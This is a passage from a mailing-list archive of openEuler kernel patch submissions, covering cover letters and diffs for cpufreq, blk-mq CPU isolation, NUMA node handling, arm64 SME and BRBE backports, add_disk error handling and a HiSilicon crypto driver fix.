Fix cpu offline but cat scaling_cur_freq is the same as online bug. Schspa Shi (2): cpufreq: Abort show()/store() for half-initialized policies cpufreq: make interface functions and lock holding state clear drivers/cpufreq/cpufreq.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) -- 2.34.1

2 3

[PATCH openEuler-1.0-LTS v2 0/2] cpufreq: Abort show()/store() for half-initialized policies
by Jinjie Ruan 07 Nov '23

07 Nov '23

Fix cpu offline but cat scaling_cur_freq is the same as online bug. Changes in v2: - Fix the CHECKPATCH warnings. Schspa Shi (2): cpufreq: Abort show()/store() for half-initialized policies cpufreq: make interface functions and lock holding state clear drivers/cpufreq/cpufreq.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) -- 2.34.1

2 3

[PATCH OLK-5.10 0/2] cpufreq: Abort show()/store() for half-initialized policies
by Jinjie Ruan 07 Nov '23

07 Nov '23

Fix cpu offline but cat scaling_cur_freq is the same as online bug. Schspa Shi (2): cpufreq: Abort show()/store() for half-initialized policies cpufreq: make interface functions and lock holding state clear drivers/cpufreq/cpufreq.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) -- 2.34.1

2 3

[PATCH openEuler-1.0-LTS 0/2] cpufreq: Abort show()/store() for half-initialized policies
by Jinjie Ruan 07 Nov '23

07 Nov '23

Fix cpu offline but cat scaling_cur_freq is the same as online bug. Schspa Shi (2): cpufreq: Abort show()/store() for half-initialized policies cpufreq: make interface functions and lock holding state clear drivers/cpufreq/cpufreq.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) -- 2.34.1

2 3

[PATCH v2 openEuler-1.0-LTS 0/3] handle uninitialized numa nodes gracefully
by Wupeng Ma 07 Nov '23

07 Nov '23

From: Ma Wupeng <mawupeng1(a)huawei.com> handle uninitialized numa nodes gracefully. Changelog since v1: - add bugfix patch #3. Michal Hocko (2): mm, memory_hotplug: make arch_alloc_nodedata independent on CONFIG_MEMORY_HOTPLUG mm: handle uninitialized numa nodes gracefully Oscar Salvador (1): arch/x86/mm/numa: Do not initialize nodes twice arch/ia64/mm/discontig.c | 6 +- arch/x86/mm/numa.c | 26 +++---- include/linux/memory_hotplug.h | 120 ++++++++++++++++----------------- mm/internal.h | 2 + mm/memory_hotplug.c | 24 +++---- mm/page_alloc.c | 45 +++++++++++-- 6 files changed, 123 insertions(+), 100 deletions(-) -- 2.25.1

2 4

[PATCH OLK-5.10 v3] blk-mq: avoid housekeeping CPUs scheduling a worker on a non-housekeeping CPU
by Xiongfeng Wang 07 Nov '23

07 Nov '23

hulk inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I7ZBTV CVE: N/A ---------------------------------------------------- When NOHZ_FULL is enabled, such as in HPC situation, CPUs are divided into housekeeping CPUs and non-housekeeping CPUs. Non-housekeeping CPUs are NOHZ_FULL CPUs and are often monopolized by the userspace process, such HPC application process. Any sort of interruption is not expected. blk_mq_hctx_next_cpu() selects each cpu in 'hctx->cpumask' alternately to schedule the work thread blk_mq_run_work_fn(). When 'hctx->cpumask' contains housekeeping CPU and non-housekeeping CPU at the same time, a housekeeping CPU, which want to request a IO, may schedule a worker on a non-housekeeping CPU. This may affect the performance of the userspace application running on non-housekeeping CPUs. So let's just schedule the worker thread on the current CPU when the current CPU is housekeeping CPU. Signed-off-by: Xiongfeng Wang <wangxiongfeng2(a)huawei.com> --- block/blk-mq.c | 12 +++++++++++- include/linux/sched/isolation.h | 2 ++ kernel/sched/isolation.c | 8 ++++++++ 3 files changed, 21 insertions(+), 1 deletion(-) diff --git a/block/blk-mq.c b/block/blk-mq.c index 1d1200afb771..3245809453b8 100644 --- a/block/blk-mq.c +++ b/block/blk-mq.c @@ -23,6 +23,9 @@ #include <linux/sched/sysctl.h> #include <linux/sched/topology.h> #include <linux/sched/signal.h> +#ifndef __GENKSYMS__ +#include <linux/sched/isolation.h> +#endif #include <linux/delay.h> #include <linux/crash_dump.h> #include <linux/prefetch.h> @@ -1676,6 +1679,8 @@ static int blk_mq_hctx_next_cpu(struct blk_mq_hw_ctx *hctx) static void __blk_mq_delay_run_hw_queue(struct blk_mq_hw_ctx *hctx, bool async, unsigned long msecs) { + int work_cpu; + if (unlikely(blk_mq_hctx_stopped(hctx))) return; @@ -1697,7 +1702,12 @@ static void __blk_mq_delay_run_hw_queue(struct blk_mq_hw_ctx *hctx, bool async, if (!percpu_ref_tryget(&hctx->queue->q_usage_counter)) return; - kblockd_mod_delayed_work_on(blk_mq_hctx_next_cpu(hctx), &hctx->run_work, + if (enhanced_isolcpus && tick_nohz_full_enabled() && + housekeeping_cpu(raw_smp_processor_id(), HK_FLAG_WQ)) + work_cpu = raw_smp_processor_id(); + else + work_cpu = blk_mq_hctx_next_cpu(hctx); + kblockd_mod_delayed_work_on(work_cpu, &hctx->run_work, msecs_to_jiffies(msecs)); percpu_ref_put(&hctx->queue->q_usage_counter); } diff --git a/include/linux/sched/isolation.h b/include/linux/sched/isolation.h index cc9f393e2a70..2f93081ad7a0 100644 --- a/include/linux/sched/isolation.h +++ b/include/linux/sched/isolation.h @@ -18,6 +18,7 @@ enum hk_flags { }; #ifdef CONFIG_CPU_ISOLATION +extern bool enhanced_isolcpus; DECLARE_STATIC_KEY_FALSE(housekeeping_overridden); extern int housekeeping_any_cpu(enum hk_flags flags); extern const struct cpumask *housekeeping_cpumask(enum hk_flags flags); @@ -28,6 +29,7 @@ extern void __init housekeeping_init(void); #else +#define enhanced_isolcpus 0 static inline int housekeeping_any_cpu(enum hk_flags flags) { return smp_processor_id(); diff --git a/kernel/sched/isolation.c b/kernel/sched/isolation.c index 5a6ea03f9882..785ef5201116 100644 --- a/kernel/sched/isolation.c +++ b/kernel/sched/isolation.c @@ -198,3 +198,11 @@ static int __init housekeeping_isolcpus_setup(char *str) return housekeeping_setup(str, flags); } __setup("isolcpus=", housekeeping_isolcpus_setup); + +bool enhanced_isolcpus; +static int __init enhanced_isolcpus_setup(char *str) +{ + enhanced_isolcpus = true; + return 0; +} +__setup("enhanced_isolcpus", enhanced_isolcpus_setup); -- 2.20.1

2 1

[PATCH OLK-5.10 00/67] backport SME feature from mainline
by Wang ShaoBo 07 Nov '23

07 Nov '23

From: w00502114 <bobo.shaobowang(a)huawei.com> backport SME feature from mainline Alexandru Elisei (1): arm64: Do not trap PMSNEVFR_EL1 Marc Zyngier (10): KVM: arm64: Let vcpu_sve_pffr() handle HYP VAs KVM: arm64: Provide KVM's own save/restore SVE primitives KVM: arm64: Use {read,write}_sysreg_el1 to access ZCR_EL1 KVM: arm64: Introduce vcpu_sve_vq() helper arm64: sve: Provide a conditional update accessor for ZCR_ELx KVM: arm64: Map SVE context at EL2 when available KVM: arm64: Rework SVE host-save/guest-restore KVM: arm64: Save guest's ZCR_EL1 before saving the FPSIMD state KVM: arm64: Save/restore SVE state for nVHE KVM: arm64: Always start with clearing SME flag on load Mark Brown (54): arm64/sve: Remove redundant system_supports_sve() tests arm64/sve: Add compile time checks for SVE hooks in generic functions arm64/sve: Rework SVE access trap to convert state in registers arm64/sve: Split _sve_flush macro into separate Z and predicate flushes arm64/sve: Skip flushing Z registers with 128 bit vectors arm64/sve: Use the sve_flush macros in sve_load_from_fpsimd_state() arm64/sve: Remove sve_load_from_fpsimd_state() arm64/sve: Better handle failure to allocate SVE register storage arm64/fp: Reindent fpsimd_save() arm64/sve: Make access to FFR optional arm64/sve: Rename find_supported_vector_length() arm64/sve: Use accessor functions for vector lengths in thread_struct arm64/sve: Put system wide vector length information into structs arm64/sve: Explicitly load vector length when restoring SVE state arm64/sve: Track vector lengths for tasks in an array arm64/sve: Make sysctl interface for SVE reusable by SME arm64/sve: Generalise vector length configuration prctl() for SME arm64/sve: Minor clarification of ABI documentation arm64: cpufeature: Always specify and use a field width for capabilities arm64/sme: Provide ABI documentation for SME arm64/sme: System register and exception syndrome definitions arm64/sme: Manually encode SME instructions arm64: Disable fine grained traps on boot arm64/sme: Early CPU setup for SME arm64/sme: Basic enumeration support arm64/sme: Identify supported SME vector lengths at boot arm64/sme: Implement sysctl to set the default vector length arm64/sme: Implement vector length configuration prctl()s arm64/sme: Implement support for TPIDR2 arm64/sme: Implement SVCR context switching arm64/sme: Implement streaming SVE context switching arm64/sme: Implement ZA context switching arm64/sme: Implement traps and syscall handling for SME arm64/sme: Disable ZA and streaming mode when handling signals arm64/sme: Implement streaming SVE signal handling arm64/sme: Implement ZA signal handling arm64/sme: Implement ptrace support for streaming mode SVE registers arm64/sme: Add ptrace support for ZA arm64/sme: Disable streaming mode and ZA when flushing CPU state arm64/sme: Save and restore streaming mode over EFI runtime calls arm64/sme: Provide Kconfig for SME arm64/sme: Add ID_AA64SMFR0_EL1 to __read_sysreg_by_encoding() arm64/sme: More sensibly define the size for the ZA register set KVM: arm64: Hide SME system registers from guests KVM: arm64: Trap SME usage in guest KVM: arm64: Handle SME host state when running guests arm64/fp: Make SVE and SME length register definition match architecture arm64/fp: Rename SVE and SME LEN field name to _WIDTH arm64/sme: Drop SYS_ from SMIDR_EL1 defines arm64/sme: Standardise bitfield names for SVCR arm64/sme: Remove _EL0 from name of SVCR - FIXME sysreg.h arm64/sme: Fix tests for 0b1111 value ID registers arm64/sme: Fix SVE/SME typo in ABI documentation arm64/sme: Fix EFI save/restore Wan Jiabing (1): arm64/sme: Fix NULL check after kzalloc Xiaofei Tan (1): arm64: sve: Provide sve_cond_update_zcr_vq fallback when !ARM64_SVE Documentation/arm64/elf_hwcaps.rst | 34 + Documentation/arm64/index.rst | 1 + Documentation/arm64/sme.rst | 428 ++++++++++ Documentation/arm64/sve.rst | 72 +- arch/arm64/Kconfig | 11 + arch/arm64/include/asm/cpu.h | 4 + arch/arm64/include/asm/cpucaps.h | 2 + arch/arm64/include/asm/cpufeature.h | 25 + arch/arm64/include/asm/esr.h | 13 +- arch/arm64/include/asm/exception.h | 1 + arch/arm64/include/asm/fpsimd.h | 262 ++++++- arch/arm64/include/asm/fpsimdmacros.h | 108 ++- arch/arm64/include/asm/hwcap.h | 8 + arch/arm64/include/asm/kvm_arm.h | 1 + arch/arm64/include/asm/kvm_host.h | 14 +- arch/arm64/include/asm/kvm_hyp.h | 2 + arch/arm64/include/asm/processor.h | 78 +- arch/arm64/include/asm/signal_common.h | 19 +- arch/arm64/include/asm/sysreg.h | 79 +- arch/arm64/include/asm/thread_info.h | 4 +- arch/arm64/include/uapi/asm/hwcap.h | 8 + arch/arm64/include/uapi/asm/ptrace.h | 69 +- arch/arm64/include/uapi/asm/sigcontext.h | 55 +- arch/arm64/kernel/cpufeature.c | 282 +++++-- arch/arm64/kernel/cpuinfo.c | 13 + arch/arm64/kernel/entry-common.c | 11 + arch/arm64/kernel/entry-fpsimd.S | 72 +- arch/arm64/kernel/fpsimd.c | 944 ++++++++++++++++++----- arch/arm64/kernel/head.S | 87 +++ arch/arm64/kernel/process.c | 45 +- arch/arm64/kernel/ptrace.c | 373 +++++++-- arch/arm64/kernel/signal.c | 175 ++++- arch/arm64/kernel/syscall.c | 29 +- arch/arm64/kernel/traps.c | 1 + arch/arm64/kvm/fpsimd.c | 70 +- arch/arm64/kvm/guest.c | 6 +- arch/arm64/kvm/hyp/fpsimd.S | 12 + arch/arm64/kvm/hyp/include/hyp/switch.h | 75 +- arch/arm64/kvm/hyp/nvhe/switch.c | 38 +- arch/arm64/kvm/hyp/vhe/switch.c | 10 +- arch/arm64/kvm/reset.c | 14 +- arch/arm64/kvm/sys_regs.c | 8 +- include/uapi/linux/elf.h | 2 + include/uapi/linux/prctl.h | 9 + kernel/sys.c | 12 + 45 files changed, 3126 insertions(+), 460 deletions(-) create mode 100644 Documentation/arm64/sme.rst -- 2.25.1

1 67

[PATCH OLK-5.10 00/23] arm64/perf: Enable branch stack sampling
by Junhao He 07 Nov '23

07 Nov '23

This series enables perf branch stack sampling support on arm64 platform via a new arch feature called Branch Record Buffer Extension (BRBE). All relevant register definitions could be accessed here. Anshuman Khandual (16): perf tools: Add missing branch_sample_type to perf_event_attr__fprintf() perf: Add irq and exception return branch types perf: Add system error and not in transaction branch types perf: Extend branch type classification perf: Capture branch privilege information perf: Add PERF_BR_NEW_ARCH_[N] map for BRBE on arm64 platform perf branch: Add system error and not in transaction branch types perf branch: Extend branch type classification perf branch: Add branch privilege information request flag perf branch: Add PERF_BR_NEW_ARCH_[N] map for BRBE on arm64 platform perf: Consolidate branch sample filter helpers perf record: Add remaining branch filters: "no_cycles", "no_flags" & "hw_index" arm64/sysreg: Add BRBE registers and fields drivers: perf: arm_pmu: Add new sched_task() callback drivers: perf: arm_pmuv3: Enable branch stack sampling framework drivers: perf: arm_pmuv3: Enable branch stack sampling via FEAT_BRBE James Clark (5): perf evsel: Add error message for unsupported branch stack cases perf session: Print branch stack entry type in --dump-raw-trace perf script: Refactor branch stack printing perf script: Output branch sample type perf branch: Fix interpretation of branch records Mark Brown (1): arm64/sysreg: Introduce helpers for access to sysreg fields Sandipan Das (1): perf/core: Add speculation info to branch entries Documentation/arch/arm64/brbe.rst | 145 ++++ arch/arm64/include/asm/perf_event.h | 60 ++ arch/arm64/include/asm/sysreg.h | 499 ++++++++++++++ arch/arm64/kernel/head.S | 48 ++ arch/arm64/kernel/perf_event.c | 90 ++- arch/x86/events/intel/lbr.c | 4 +- drivers/perf/Kconfig | 11 + drivers/perf/Makefile | 1 + drivers/perf/arm_brbe.c | 779 ++++++++++++++++++++++ drivers/perf/arm_brbe.h | 261 ++++++++ drivers/perf/arm_pmu.c | 34 +- include/linux/perf/arm_pmu.h | 28 +- include/linux/perf_event.h | 27 + include/uapi/linux/perf_event.h | 51 +- kernel/events/core.c | 9 +- tools/include/uapi/linux/perf_event.h | 38 +- tools/perf/builtin-script.c | 28 +- tools/perf/util/branch.c | 72 +- tools/perf/util/branch.h | 8 +- tools/perf/util/evsel.c | 4 + tools/perf/util/parse-branch-options.c | 4 + tools/perf/util/perf_event_attr_fprintf.c | 2 +- tools/perf/util/session.c | 5 +- 23 files changed, 2172 insertions(+), 36 deletions(-) create mode 100644 Documentation/arch/arm64/brbe.rst create mode 100644 drivers/perf/arm_brbe.c create mode 100644 drivers/perf/arm_brbe.h -- 2.33.0

2 24

[PATCH OLK-5.10 00/67] backport SME feature from mainline
by w00502114 07 Nov '23

07 Nov '23

backport SME feature from mainline Alexandru Elisei (1): arm64: Do not trap PMSNEVFR_EL1 Marc Zyngier (10): KVM: arm64: Let vcpu_sve_pffr() handle HYP VAs KVM: arm64: Provide KVM's own save/restore SVE primitives KVM: arm64: Use {read,write}_sysreg_el1 to access ZCR_EL1 KVM: arm64: Introduce vcpu_sve_vq() helper arm64: sve: Provide a conditional update accessor for ZCR_ELx KVM: arm64: Map SVE context at EL2 when available KVM: arm64: Rework SVE host-save/guest-restore KVM: arm64: Save guest's ZCR_EL1 before saving the FPSIMD state KVM: arm64: Save/restore SVE state for nVHE KVM: arm64: Always start with clearing SME flag on load Mark Brown (54): arm64/sve: Remove redundant system_supports_sve() tests arm64/sve: Add compile time checks for SVE hooks in generic functions arm64/sve: Rework SVE access trap to convert state in registers arm64/sve: Split _sve_flush macro into separate Z and predicate flushes arm64/sve: Skip flushing Z registers with 128 bit vectors arm64/sve: Use the sve_flush macros in sve_load_from_fpsimd_state() arm64/sve: Remove sve_load_from_fpsimd_state() arm64/sve: Better handle failure to allocate SVE register storage arm64/fp: Reindent fpsimd_save() arm64/sve: Make access to FFR optional arm64/sve: Rename find_supported_vector_length() arm64/sve: Use accessor functions for vector lengths in thread_struct arm64/sve: Put system wide vector length information into structs arm64/sve: Explicitly load vector length when restoring SVE state arm64/sve: Track vector lengths for tasks in an array arm64/sve: Make sysctl interface for SVE reusable by SME arm64/sve: Generalise vector length configuration prctl() for SME arm64/sve: Minor clarification of ABI documentation arm64: cpufeature: Always specify and use a field width for capabilities arm64/sme: Provide ABI documentation for SME arm64/sme: System register and exception syndrome definitions arm64/sme: Manually encode SME instructions arm64: Disable fine grained traps on boot arm64/sme: Early CPU setup for SME arm64/sme: Basic enumeration support arm64/sme: Identify supported SME vector lengths at boot arm64/sme: Implement sysctl to set the default vector length arm64/sme: Implement vector length configuration prctl()s arm64/sme: Implement support for TPIDR2 arm64/sme: Implement SVCR context switching arm64/sme: Implement streaming SVE context switching arm64/sme: Implement ZA context switching arm64/sme: Implement traps and syscall handling for SME arm64/sme: Disable ZA and streaming mode when handling signals arm64/sme: Implement streaming SVE signal handling arm64/sme: Implement ZA signal handling arm64/sme: Implement ptrace support for streaming mode SVE registers arm64/sme: Add ptrace support for ZA arm64/sme: Disable streaming mode and ZA when flushing CPU state arm64/sme: Save and restore streaming mode over EFI runtime calls arm64/sme: Provide Kconfig for SME arm64/sme: Add ID_AA64SMFR0_EL1 to __read_sysreg_by_encoding() arm64/sme: More sensibly define the size for the ZA register set KVM: arm64: Hide SME system registers from guests KVM: arm64: Trap SME usage in guest KVM: arm64: Handle SME host state when running guests arm64/fp: Make SVE and SME length register definition match architecture arm64/fp: Rename SVE and SME LEN field name to _WIDTH arm64/sme: Drop SYS_ from SMIDR_EL1 defines arm64/sme: Standardise bitfield names for SVCR arm64/sme: Remove _EL0 from name of SVCR - FIXME sysreg.h arm64/sme: Fix tests for 0b1111 value ID registers arm64/sme: Fix SVE/SME typo in ABI documentation arm64/sme: Fix EFI save/restore Wan Jiabing (1): arm64/sme: Fix NULL check after kzalloc Xiaofei Tan (1): arm64: sve: Provide sve_cond_update_zcr_vq fallback when !ARM64_SVE Documentation/arm64/elf_hwcaps.rst | 34 + Documentation/arm64/index.rst | 1 + Documentation/arm64/sme.rst | 428 ++++++++++ Documentation/arm64/sve.rst | 72 +- arch/arm64/Kconfig | 11 + arch/arm64/include/asm/cpu.h | 4 + arch/arm64/include/asm/cpucaps.h | 2 + arch/arm64/include/asm/cpufeature.h | 25 + arch/arm64/include/asm/esr.h | 13 +- arch/arm64/include/asm/exception.h | 1 + arch/arm64/include/asm/fpsimd.h | 262 ++++++- arch/arm64/include/asm/fpsimdmacros.h | 108 ++- arch/arm64/include/asm/hwcap.h | 8 + arch/arm64/include/asm/kvm_arm.h | 1 + arch/arm64/include/asm/kvm_host.h | 14 +- arch/arm64/include/asm/kvm_hyp.h | 2 + arch/arm64/include/asm/processor.h | 78 +- arch/arm64/include/asm/signal_common.h | 19 +- arch/arm64/include/asm/sysreg.h | 79 +- arch/arm64/include/asm/thread_info.h | 4 +- arch/arm64/include/uapi/asm/hwcap.h | 8 + arch/arm64/include/uapi/asm/ptrace.h | 69 +- arch/arm64/include/uapi/asm/sigcontext.h | 55 +- arch/arm64/kernel/cpufeature.c | 282 +++++-- arch/arm64/kernel/cpuinfo.c | 13 + arch/arm64/kernel/entry-common.c | 11 + arch/arm64/kernel/entry-fpsimd.S | 72 +- arch/arm64/kernel/fpsimd.c | 944 ++++++++++++++++++----- arch/arm64/kernel/head.S | 87 +++ arch/arm64/kernel/process.c | 45 +- arch/arm64/kernel/ptrace.c | 373 +++++++-- arch/arm64/kernel/signal.c | 175 ++++- arch/arm64/kernel/syscall.c | 29 +- arch/arm64/kernel/traps.c | 1 + arch/arm64/kvm/fpsimd.c | 70 +- arch/arm64/kvm/guest.c | 6 +- arch/arm64/kvm/hyp/fpsimd.S | 12 + arch/arm64/kvm/hyp/include/hyp/switch.h | 75 +- arch/arm64/kvm/hyp/nvhe/switch.c | 38 +- arch/arm64/kvm/hyp/vhe/switch.c | 10 +- arch/arm64/kvm/reset.c | 14 +- arch/arm64/kvm/sys_regs.c | 8 +- include/uapi/linux/elf.h | 2 + include/uapi/linux/prctl.h | 9 + kernel/sys.c | 12 + 45 files changed, 3126 insertions(+), 460 deletions(-) create mode 100644 Documentation/arm64/sme.rst -- 2.25.1

1 67

[PATCH OLK-5.10 v2] blk-mq: avoid housekeeping CPUs scheduling a worker on a non-housekeeping CPU
by Xiongfeng Wang 07 Nov '23

07 Nov '23

hulk inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I7ZBTV CVE: N/A ---------------------------------------------------- When NOHZ_FULL is enabled, such as in HPC situation, CPUs are divided into housekeeping CPUs and non-housekeeping CPUs. Non-housekeeping CPUs are NOHZ_FULL CPUs and are often monopolized by the userspace process, such HPC application process. Any sort of interruption is not expected. blk_mq_hctx_next_cpu() selects each cpu in 'hctx->cpumask' alternately to schedule the work thread blk_mq_run_work_fn(). When 'hctx->cpumask' contains housekeeping CPU and non-housekeeping CPU at the same time, a housekeeping CPU, which want to request a IO, may schedule a worker on a non-housekeeping CPU. This may affect the performance of the userspace application running on non-housekeeping CPUs. So let's just schedule the worker thread on the current CPU when the current CPU is housekeeping CPU. Signed-off-by: Xiongfeng Wang <wangxiongfeng2(a)huawei.com> --- block/blk-mq.c | 13 ++++++++++++- include/linux/sched/isolation.h | 2 ++ kernel/sched/isolation.c | 8 ++++++++ 3 files changed, 22 insertions(+), 1 deletion(-) diff --git a/block/blk-mq.c b/block/blk-mq.c index 1d1200afb771..b81d4a69056c 100644 --- a/block/blk-mq.c +++ b/block/blk-mq.c @@ -23,6 +23,9 @@ #include <linux/sched/sysctl.h> #include <linux/sched/topology.h> #include <linux/sched/signal.h> +#ifndef __GENKSYMS__ +#include <linux/sched/isolation.h> +#endif #include <linux/delay.h> #include <linux/crash_dump.h> #include <linux/prefetch.h> @@ -1676,6 +1679,8 @@ static int blk_mq_hctx_next_cpu(struct blk_mq_hw_ctx *hctx) static void __blk_mq_delay_run_hw_queue(struct blk_mq_hw_ctx *hctx, bool async, unsigned long msecs) { + int work_cpu; + if (unlikely(blk_mq_hctx_stopped(hctx))) return; @@ -1697,7 +1702,13 @@ static void __blk_mq_delay_run_hw_queue(struct blk_mq_hw_ctx *hctx, bool async, if (!percpu_ref_tryget(&hctx->queue->q_usage_counter)) return; - kblockd_mod_delayed_work_on(blk_mq_hctx_next_cpu(hctx), &hctx->run_work, + if (enhanced_isolcpus && tick_nohz_full_enabled() && + housekeeping_cpu(raw_smp_processor_id(), HK_FLAG_WQ)) + work_cpu = smp_processor_id(); + else + work_cpu = blk_mq_hctx_next_cpu(hctx); + + kblockd_mod_delayed_work_on(work_cpu, &hctx->run_work, msecs_to_jiffies(msecs)); percpu_ref_put(&hctx->queue->q_usage_counter); } diff --git a/include/linux/sched/isolation.h b/include/linux/sched/isolation.h index cc9f393e2a70..2f93081ad7a0 100644 --- a/include/linux/sched/isolation.h +++ b/include/linux/sched/isolation.h @@ -18,6 +18,7 @@ enum hk_flags { }; #ifdef CONFIG_CPU_ISOLATION +extern bool enhanced_isolcpus; DECLARE_STATIC_KEY_FALSE(housekeeping_overridden); extern int housekeeping_any_cpu(enum hk_flags flags); extern const struct cpumask *housekeeping_cpumask(enum hk_flags flags); @@ -28,6 +29,7 @@ extern void __init housekeeping_init(void); #else +#define enhanced_isolcpus 0 static inline int housekeeping_any_cpu(enum hk_flags flags) { return smp_processor_id(); diff --git a/kernel/sched/isolation.c b/kernel/sched/isolation.c index 5a6ea03f9882..785ef5201116 100644 --- a/kernel/sched/isolation.c +++ b/kernel/sched/isolation.c @@ -198,3 +198,11 @@ static int __init housekeeping_isolcpus_setup(char *str) return housekeeping_setup(str, flags); } __setup("isolcpus=", housekeeping_isolcpus_setup); + +bool enhanced_isolcpus; +static int __init enhanced_isolcpus_setup(char *str) +{ + enhanced_isolcpus = true; + return 0; +} +__setup("enhanced_isolcpus", enhanced_isolcpus_setup); -- 2.20.1

2 1

[PATCH OLK-5.10 00/22] Add error handle for add_disk
by Li Nan 07 Nov '23

07 Nov '23

To make applying the mainline patch easier, reorder the nbd commit about the first_minor check here. Christoph Hellwig (5): block: fold register_disk into device_add_disk block: call blk_integrity_add earlier in device_add_disk block: add the events* attributes to disk_attrs block: fix error unwinding in device_add_disk block: clear ->slave_dir when dropping the main slave_dir reference Luis Chamberlain (4): block: return errors from blk_integrity_add block: return errors from disk_alloc_events block: add error handling for device_add_disk / add_disk block: fix device_add_disk() kobject_create_and_add() error handling Tetsuo Handa (1): block: check minor range in device_add_disk() Wen Yang (1): Revert "Revert "block: nbd: add sanity check for first_minor"" Yu Kuai (3): nbd: fix max value for 'first_minor' nbd: fix possible overflow for 'first_minor' in nbd_dev_add() block: fix memory leak for elevator on add_disk failure Zhang Wensheng (1): nbd: fix possible overflow on 'first_minor' in nbd_dev_add() Zhong Jinghua (7): nbd: Reorganize the messy commit log about the first_minor check block: return errors from blk_register_region block: Fix the kabi change in device_add_disk block: Fix the kabi change on blk_register_region block: call blk_get_queue earlier in __device_add_disk block: Fix minor range check in device_add_disk() block: Set memalloc_noio to false in the error path block/blk.h | 5 +- include/linux/genhd.h | 13 +++ block/blk-integrity.c | 12 ++- block/genhd.c | 246 +++++++++++++++++++++++++----------------- drivers/block/nbd.c | 15 +-- 5 files changed, 175 insertions(+), 116 deletions(-) -- 2.39.2

2 23

[PATCH OLK-5.10 v2 00/42] Add error handle for add_disk
by Li Nan 07 Nov '23

07 Nov '23

Christoph Hellwig (14): block: fold register_disk into device_add_disk block: call blk_integrity_add earlier in device_add_disk block: add the events* attributes to disk_attrs block: fix error unwinding in device_add_disk block: clear ->slave_dir when dropping the main slave_dir reference block: add blk_alloc_disk and blk_cleanup_disk APIs blk-mq: add the blk_mq_alloc_disk APIs loop: use blk_mq_alloc_disk and blk_cleanup_disk loop: fix order of cleaning up the queue and freeing the tagset nbd: use blk_mq_alloc_disk and blk_cleanup_disk block: add a flag to make put_disk on partially initalized disks safer nvme: use blk_mq_alloc_disk brd: convert to blk_alloc_disk/blk_cleanup_disk ubi: use blk_mq_alloc_disk and blk_cleanup_disk Dan Carpenter (1): blk-mq: fix an IS_ERR() vs NULL bug Li Lingfeng (1): nbd: fix uaf in nbd_open Luis Chamberlain (10): block: return errors from blk_integrity_add block: return errors from disk_alloc_events block: add error handling for device_add_disk / add_disk block: fix device_add_disk() kobject_create_and_add() error handling loop: add error handling support for add_disk() nbd: add error handling support for add_disk() nvme: add error handling support for add_disk() block/brd: add error handling support for add_disk() scsi: sr: Add error handling support for add_disk() mtd/ubi/block: add error handling support for add_disk() Tetsuo Handa (1): block: check minor range in device_add_disk() Wang Qing (1): nbd: fix order of cleaning up the queue and freeing the tagset Wen Yang (1): Revert "Revert "block: nbd: add sanity check for first_minor"" Yu Kuai (3): nbd: fix max value for 'first_minor' nbd: fix possible overflow for 'first_minor' in nbd_dev_add() block: fix memory leak for elevator on add_disk failure Zhang Wensheng (1): nbd: fix possible overflow on 'first_minor' in nbd_dev_add() Zhong Jinghua (9): nbd: Reorganize the messy commit log about the first_minor check block: return errors from blk_register_region block: Fix the kabi change in device_add_disk block: Fix the kabi change on blk_register_region block: call blk_get_queue earlier in __device_add_disk block: Fix minor range check in device_add_disk() block: Set memalloc_noio to false in the error path mtd/ubi/block: Fix null pointer dereference issue in error path mtd/ubi/block: Fix uaf problem in ubiblock_cleanup block/blk.h | 5 +- include/linux/blk-mq.h | 12 ++ include/linux/genhd.h | 36 +++++ block/blk-integrity.c | 12 +- block/blk-mq.c | 19 +++ block/genhd.c | 286 ++++++++++++++++++++++++++------------- drivers/block/brd.c | 103 ++++++-------- drivers/block/loop.c | 26 ++-- drivers/block/nbd.c | 75 ++++------ drivers/mtd/ubi/block.c | 76 +++++------ drivers/nvme/host/core.c | 41 +++--- drivers/scsi/sr.c | 7 +- 12 files changed, 413 insertions(+), 285 deletions(-) -- 2.39.2

1 42

[PATCH openEuler-1.0-LTS] crypto: hisilicon/qm - alloc reserve buffer to set and get xqc
by wangyuan 06 Nov '23

06 Nov '23

From: Yu'an Wang <wangyuan46(a)huawei.com> driver inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8E6ED CVE: NA -------------------------------- If the temporarily applied memory is used to set or get the xqc information, the driver will release the memory after the mailbox timeout. However, the hardware still performs the operation. Therefore, the released memory may be written by hardware. So when load driver, reserve memory is applied for xqc configuration. Signed-off-by: Yu'an Wang <wangyuan46(a)huawei.com> --- drivers/crypto/hisilicon/qm.c | 544 +++++++++++++++------------------- drivers/crypto/hisilicon/qm.h | 13 + 2 files changed, 250 insertions(+), 307 deletions(-) diff --git a/drivers/crypto/hisilicon/qm.c b/drivers/crypto/hisilicon/qm.c index 64e8ef1bf8e7..25bb24b4c131 100644 --- a/drivers/crypto/hisilicon/qm.c +++ b/drivers/crypto/hisilicon/qm.c @@ -50,7 +50,7 @@ #define QM_SQ_TYPE_MASK 0xf -#define QM_SQ_TAIL_IDX(sqc) ((le16_to_cpu((sqc)->w11) >> 6) & 0x1) +#define QM_SQ_TAIL_IDX(sqc) ((le16_to_cpu((sqc).w11) >> 6) & 0x1) /* cqc shift */ #define QM_CQ_HOP_NUM_SHIFT 0 @@ -64,7 +64,7 @@ #define QM_QC_CQE_SIZE 4 -#define QM_CQ_TAIL_IDX(cqc) ((le16_to_cpu((cqc)->w11) >> 6) & 0x1) +#define QM_CQ_TAIL_IDX(cqc) ((le16_to_cpu((cqc).w11) >> 6) & 0x1) /* eqc shift */ #define QM_EQE_AEQE_SIZE (2UL << 12) @@ -217,19 +217,6 @@ #define QM_MK_SQC_DW3_V2(sqe_sz) \ ((QM_Q_DEPTH - 1) | ((u32)ilog2(sqe_sz) << QM_SQ_SQE_SIZE_SHIFT)) -#define INIT_QC_COMMON(qc, base, pasid) do { \ - (qc)->head = 0; \ - (qc)->tail = 0; \ - (qc)->base_l = cpu_to_le32(lower_32_bits(base)); \ - (qc)->base_h = cpu_to_le32(upper_32_bits(base)); \ - (qc)->dw3 = 0; \ - (qc)->w8 = 0; \ - (qc)->rsvd0 = 0; \ - (qc)->pasid = cpu_to_le16(pasid); \ - (qc)->w11 = 0; \ - (qc)->rsvd1 = 0; \ -} while (0) - #define QMC_ALIGN(sz) ALIGN(sz, 